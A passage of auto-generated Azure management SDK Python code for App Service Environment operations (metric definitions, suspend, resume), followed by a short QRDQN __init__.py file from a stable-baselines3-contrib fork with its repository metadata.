self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('object', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_multi_role_pool_instance_metric_definitions( self, resource_group_name, name, instance, custom_headers=None, raw=False, **operation_config): """ Get metric definitions for a specific instance of a multiRole pool of a hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param instance: Name of instance in the multiRole pool> :type instance: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: object :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/multiRolePools/default/instances/{instance}/metricdefinitions' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'instance': self._serialize.url("instance", instance, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('object', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def suspend_hosting_environment( self, resource_group_name, name, custom_headers=None, raw=False, **operation_config): """ Suspends the hostingEnvironment. :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :rtype: :class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>` instance that returns :class:`SiteCollection <azure.mgmt.web.models.SiteCollection>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/suspend' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request def long_running_send(): request = self._client.post(url, query_parameters) return self._client.send(request, header_parameters, **operation_config) def get_long_running_status(status_link, headers=None): request = self._client.get(status_link) if headers: request.headers.update(headers) return self._client.send( request, header_parameters, **operation_config) def get_long_running_output(response): if response.status_code not in [200, 202]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('SiteCollection', response) if response.status_code == 202: deserialized = self._deserialize('SiteCollection', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized if raw: response = long_running_send() return get_long_running_output(response) long_running_operation_timeout = operation_config.get( 'long_running_operation_timeout', self.config.long_running_operation_timeout) return AzureOperationPoller( long_running_send, get_long_running_output, get_long_running_status, long_running_operation_timeout) def resume_hosting_environment( self, resource_group_name, name, custom_headers=None, raw=False, **operation_config): """ Resumes the hostingEnvironment. :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :rtype: :class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>` instance that returns :class:`SiteCollection <azure.mgmt.web.models.SiteCollection>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/resume' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request def long_running_send(): request = self._client.post(url, query_parameters) return self._client.send(request, header_parameters, **operation_config) def get_long_running_status(status_link, headers=None): request = self._client.get(status_link) if headers: request.headers.update(headers) return self._client.send( request, header_parameters, **operation_config) def get_long_running_output(response): if response.status_code not in [200, 202]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('SiteCollection', response) if response.status_code == 202: deserialized = self._deserialize('SiteCollection', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized if raw: response = long_running_send() return get_long_running_output(response) long_running_operation_timeout = operation_config.get( 'long_running_operation_timeout', self.config.long_running_operation_timeout) return AzureOperationPoller( long_running_send, get_long_running_output, get_long_running_status, long_running_operation_timeout)

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1d16fae30f964d6f9a7fe772cb208af2692ee18b

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py

Python

sb3_contrib/qrdqn/__init__.py

satoshinakamotodotmyselfpointcom/stable-baselines3-contrib

81ef23d2702aeb73d36f000d882da313d21aadef

[ "MIT" ]

null

sb3_contrib/qrdqn/__init__.py

satoshinakamotodotmyselfpointcom/stable-baselines3-contrib

81ef23d2702aeb73d36f000d882da313d21aadef

[ "MIT" ]

null

sb3_contrib/qrdqn/__init__.py

satoshinakamotodotmyselfpointcom/stable-baselines3-contrib

81ef23d2702aeb73d36f000d882da313d21aadef

[ "MIT" ]

null

from sb3_contrib.qrdqn.policies import CnnPolicy, MlpPolicy from sb3_contrib.qrdqn.qrdqn import QRDQN

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0.021505

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102

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